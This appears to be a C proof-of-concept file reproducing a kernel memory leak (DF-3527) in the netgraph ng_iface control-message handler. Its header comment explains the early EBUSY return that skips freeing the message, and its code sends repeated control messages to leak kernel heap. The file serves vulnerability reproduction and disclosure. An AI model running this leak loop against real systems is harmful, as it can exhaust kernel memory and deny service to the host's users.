/*
 * DF-3527 PoC: ng_iface (v1 netgraph) NGM_IFACE_POINT2POINT /
 * NGM_IFACE_BROADCAST control message leak.
 *
 * ng_iface_rcvmsg() returns EBUSY early (ng_iface.c:666) when the
 * interface is IFF_UP, skipping the kfree(msg) at the function tail
 * (ng_iface.c:732).  The v1 netgraph contract makes the receiving node's
 * rcvmsg() the owner of the message ("It is up to the message handler to
 * free the message", sys/netgraph/netgraph/ng_base.c:1178); the sender
 * (ngc_send, sys/netgraph/socket/ng_socket.c:253-258) allocates
 * kmalloc(len + 1, M_NETGRAPH) per sendto() and never frees it itself.
 * => every sendto() while ng0 is UP leaks sizeof(struct ng_mesg) +
 *    arglen + 1 bytes of kernel heap (M_NETGRAPH).
 *
 * Must run as root: PF_NETGRAPH control sockets require
 * caps_priv_check(SYSCAP_RESTRICTEDROOT) (ng_socket.c:172-176).
 *
 * usage: ./leak <node-name> <iterations> <arglen> [cmd]
 *   cmd: 2 = NGM_IFACE_POINT2POINT (default, leaks), 1 = NGM_IFACE_GET_IFNAME
 *        (control: error-free path that DOES free the msg)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define AF_NG		32		/* AF_NETGRAPH */
#define NG_PROTO_CTRL	2		/* NG_CONTROL */

#define NGM_IFACE_COOKIE	858821773u
#define NGM_IFACE_GET_IFNAME	1
#define NGM_IFACE_POINT2POINT	2

/* v1 struct ng_mesg (sys/netgraph/ng_message.h:62-74) */
struct ng_msghdr_v1 {
	uint8_t		version;	/* must == NG_VERSION (2) */
	uint8_t		spare;
	uint16_t	arglen;		/* 16-bit in v1! */
	uint32_t	flags;
	uint32_t	token;
	uint32_t	typecookie;
	uint32_t	cmd;
	char		cmdstr[32];
};
struct ng_mesg_v1 {
	struct ng_msghdr_v1 header;
	char data[0];
};

struct sockaddr_ngv {
	uint8_t	sg_len;
	uint8_t	sg_family;
	char	sg_data[64];
};

int
main(int argc, char **argv)
{
	struct sockaddr_ngv dst;
	const char *path;
	int n, arglen, cmd = NGM_IFACE_POINT2POINT;
	int s, i, ebusy = 0, eother = 0, i0;
	char *buf;
	struct ng_mesg_v1 *m;

	if (argc < 4) {
		fprintf(stderr, "usage: %s <node> <iters> <arglen> [cmd]\n",
		    argv[0]);
		return (2);
	}
	path = argv[1];
	n = atoi(argv[2]);
	arglen = atoi(argv[3]);
	if (argc > 4)
		cmd = atoi(argv[4]);

	buf = calloc(1, sizeof(*m) + arglen);
	if (buf == NULL)
		return (2);
	m = (struct ng_mesg_v1 *)buf;
	m->header.version = 2;			/* NG_VERSION */
	m->header.arglen = (uint16_t)arglen;
	m->header.token = 0x3527;
	m->header.typecookie = NGM_IFACE_COOKIE;
	m->header.cmd = (uint32_t)cmd;
	memset(m->data, 'A', arglen);

	s = socket(AF_NG, SOCK_DGRAM, NG_PROTO_CTRL);
	if (s < 0) {
		perror("socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL)");
		return (1);
	}

	memset(&dst, 0, sizeof(dst));
	dst.sg_family = AF_NG;
	/* Absolute node address: "name:" (bare "name" would be parsed as a
	 * relative hook path on our own socket node -> ENOENT). */
	snprintf(dst.sg_data, sizeof(dst.sg_data), "%s:", path);
	dst.sg_len = (uint8_t)(2 + strlen(dst.sg_data) + 1);

	printf("[*] node=%s iters=%d arglen=%d cmd=%d msgsz=%zd\n",
	    path, n, arglen, cmd, sizeof(*m) + arglen);
	printf("[*] expected leak if cmd=2 and interface is UP: %zd bytes\n",
	    (ssize_t)((sizeof(*m) + arglen + 1) * (size_t)n));

	i0 = 0;
	for (i = 0; i < n; i++) {
		ssize_t r = sendto(s, buf, sizeof(*m) + arglen, 0,
		    (struct sockaddr *)&dst, dst.sg_len);
		if (r < 0) {
			if (errno == EBUSY) {
				ebusy++;
				continue;
			}
		eother++;
		if (eother <= 3)
			fprintf(stderr,
			    "[-] sendto failed: %s\n", strerror(errno));
		continue;
		}
		i0++;
		/* drain the synchronous response so the socket rcv buf
		 * never fills (ENOBUFS) on response-carrying commands */
		recv(s, buf, sizeof(*m) + arglen + 64, MSG_DONTWAIT);
	}
	printf("[*] results: EBUSY=%d success=%d other-err=%d\n",
	    ebusy, i0, eother);

	/*
	 * EBUSY replies for cmd=NGM_IFACE_POINT2POINT are the leak signature:
	 * the handler took the early-return path without freeing the msg.
	 */
	if (cmd == NGM_IFACE_POINT2POINT && ebusy == n) {
		printf("[+] LEAKED: %d ng_mesg allocations (%zd bytes of "
		    "M_NETGRAPH kernel heap) not freed\n",
		    n, (ssize_t)((sizeof(*m) + arglen + 1) * (size_t)n));
		return (0);
	}
	if (cmd == NGM_IFACE_GET_IFNAME && eother == 0) {
		printf("[+] control run complete (handler frees msg "
		    "normally on this path)\n");
		return (0);
	}
	printf("[-] unexpected result pattern (see EBUSY/success counts)\n");
	return (1);
}
